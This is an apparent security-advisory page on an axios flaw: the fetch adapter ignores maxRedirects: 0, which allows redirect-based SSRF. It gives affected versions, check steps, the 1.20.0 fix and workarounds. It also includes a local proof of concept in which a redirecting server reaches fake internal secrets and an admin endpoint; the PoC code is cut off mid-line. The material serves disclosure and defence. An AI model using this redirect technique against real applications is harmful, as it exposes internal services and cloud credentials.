---
id: "CVE-2026-101907"
page: "https://infrastack.ai/live/CVE-2026-101907"
kind: "vulnerability"
aliases: ["CVE-2026-101907", "GHSA-r4gj-5m52-g5wh"]
title: "Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF"
severity: "high"
cvss: 7.0
epss: 0.00471
exploited: false
status: "open"
category: "package"
products: [{"name": "axios", "fixed": [">=1.20.0"], "affected": "= 1.17.0", "ecosystem": "npm"}, {"name": "axios", "fixed": ["1.20.0"], "affected": ">= 1.17.0, < 1.20.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["axios", "bun", "cloudflare-workers", "cwe-441", "cwe-601", "deno", "node", "npm", "package", "ssrf"]
not_affected_if: ["http-adapter-only", "managed-hosting", "no-redirect-guard-reliance"]
published_at: "2026-09-16T09:02:57+00:00"
first_seen_at: "2026-11-09T22:53:18+00:00"
updated_at: "2026-11-09T23:00:31+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh", "first_seen_at": "2026-11-09T22:53:18+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-r4gj-5m52-g5wh", "first_seen_at": "2026-11-09T22:57:50+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101907", "first_seen_at": "2026-11-09T23:10:12+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00471, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-101907"}]
---

# Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF

Link for people: https://infrastack.ai/live/CVE-2026-101907 (this .md is for agents)

The axios fetch adapter does not read maxRedirects, so a request configured with maxRedirects: 0 still follows redirects. An attacker who controls a redirecting URL can make the application fetch internal endpoints and read their responses.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:axios affected = 1.17.0 fixed >=1.20.0
- npm:axios affected >= 1.17.0, < 1.20.0 fixed 1.20.0

## How to check

- Check the installed axios version with `npm ls axios`.
- Search the code for `maxRedirects: 0` used as an SSRF guard, and for `adapter: 'fetch'` or `adapter: ['fetch']`.
- Check whether the app runs on Deno, Bun or Cloudflare Workers, where the fetch adapter is selected automatically.

## Fix

- axios `1.20.0` and later (affected: `>=1.17.0`, `<1.20.0`; the `1.17.0` range is listed as fixed at `>=1.20.0`)

## Timeline

- 2026-11-09T22:53:18+00:00 ghsa-repo https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh
- 2026-11-09T22:57:50+00:00 ghsa https://github.com/advisories/GHSA-r4gj-5m52-g5wh
- 2026-11-09T23:10:12+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-101907

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh
- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/axios/axios/security-advisories/GHSA-r4gj-5m52-g5wh
- [fix] Patch: github.com https://github.com/axios/axios/pull/11141
- [fix] Patch: github.com https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- [fix] Release: github.com https://github.com/axios/axios/releases/tag/v1.20.0

## From the sources

## Summary

Axios exposes `maxRedirects` to limit redirect following, and `maxRedirects: 0` is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API `redirect` mode, so the runtime default of `redirect: 'follow'` applies.

Applications are affected when they rely on `maxRedirects: 0` and use the fetch adapter, either explicitly or because the runtime selects it.

## Impact

An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured `maxRedirects: 0`. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.

This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted `maxRedirects: 0` as the redirect guard.

## Affected Functionality

Affected:

- `adapter: 'fetch'`.
- Runtime environments where fetch is selected by adapter resolution.
- Requests configured with `maxRedirects: 0` but without `fetchOptions.redirect: 'manual'` or equivalent runtime-specific redirect control.

Not affected:

- Node HTTP adapter, which enforces `maxRedirects: 0`.
- Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.

## Technical Details

`lib/adapters/fetch.js` destructures many fields from `resolveConfig(config)`, but not `maxRedirects`. It then builds fetch options without a `redirect` key:

```js
const resolvedOptions = {
  ...fetchOptions,
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};
```

Because `redirect` is absent, the Fetch API default is to follow redirects.

Local verification on axios `1.18.1` showed the HTTP adapter throwing with `maxRedirects: 0`, while the fetch adapter followed the same loopback `302` and returned the internal response.

## Proof of Concept of Attack

Constrained local demonstration:

1. Start server A that returns `302 Location: http://127.0.0.1:<server-b>/internal`.
2. Start server B that returns `INTERNAL`.
3. Compare:

```js
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 });  // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL
```

## Workarounds

For fetch-adapter requests, set `fetchOptions: { redirect: 'manual' }` where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.

<details>
  <summary><h3>Original report</h3></summary>
  
## Summary

Axios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `'follow'`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`.

In the attached PoC, a request issued with `maxRedirects: 0` and `adapter: 'fetch'` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: 'http'` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.

This affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: 'fetch'` set explicitly.

## Details

The fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`:

```js
let {
  url, method, data, signal, cancelToken, timeout,
  onDownloadProgress, onUploadProgress, responseType,
  headers, withCredentials, fetchOptions,
  maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extracted
```

The options object passed to `fetch()` has no `redirect` key:

```js
const resolvedOptions = {
  ...fetchOptions,       // redirect only set here if caller explicitly passes fetchOptions.redirect
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};
```

Because no `redirect` key is present, the Fetch API default of `redirect: 'follow'` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects.

The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect

The behaviour difference between adapters is summarised below:

| Behaviour                              | HTTP adapter                    | Fetch adapter            |
|----------------------------------------|---------------------------------|--------------------------|
| Reads `config.maxRedirects`            | Yes                             | **No**                   |
| Enforces `maxRedirects: 0`             | Yes -- throws on any redirect   | **No -- follows silently**|
| Strips `Authorization` cross-origin    | Yes (`follow-redirects` >=1.15.8)| Runtime-dependent       |
| Strips `Cookie` cross-origin           | Yes                             | Runtime-dependent        |

### When is the fetch adapter selected?

- **Deno, Bun, Cloudflare Workers:** no Node.js `http` module available; the adapter list falls through to `'fetch'`
- **Explicit config:** `axios.get(url, { adapter: 'fetch' })`
- **Custom adapter list:** `axios.create({ adapter: ['fetch'] })`

## PoC

```js
import http from 'http';
import axios from './index.js';

// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
  if (req.url === '/api/data') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
    return res.end();
  }
  if (req.url === '/api/change-config') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
    return res.end();
  }
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ ok: true }));
});

let internalHits = 0;
let internalConfig = {};

// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
  internalHits++;

  if (req.url === '/internal/secrets') {
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
      role:   'arn:aws:iam::000000000000:role/FakeProductionRole',
    }));
  }

  if (req.url === '/internal/admin/config') {
    internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      reache

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
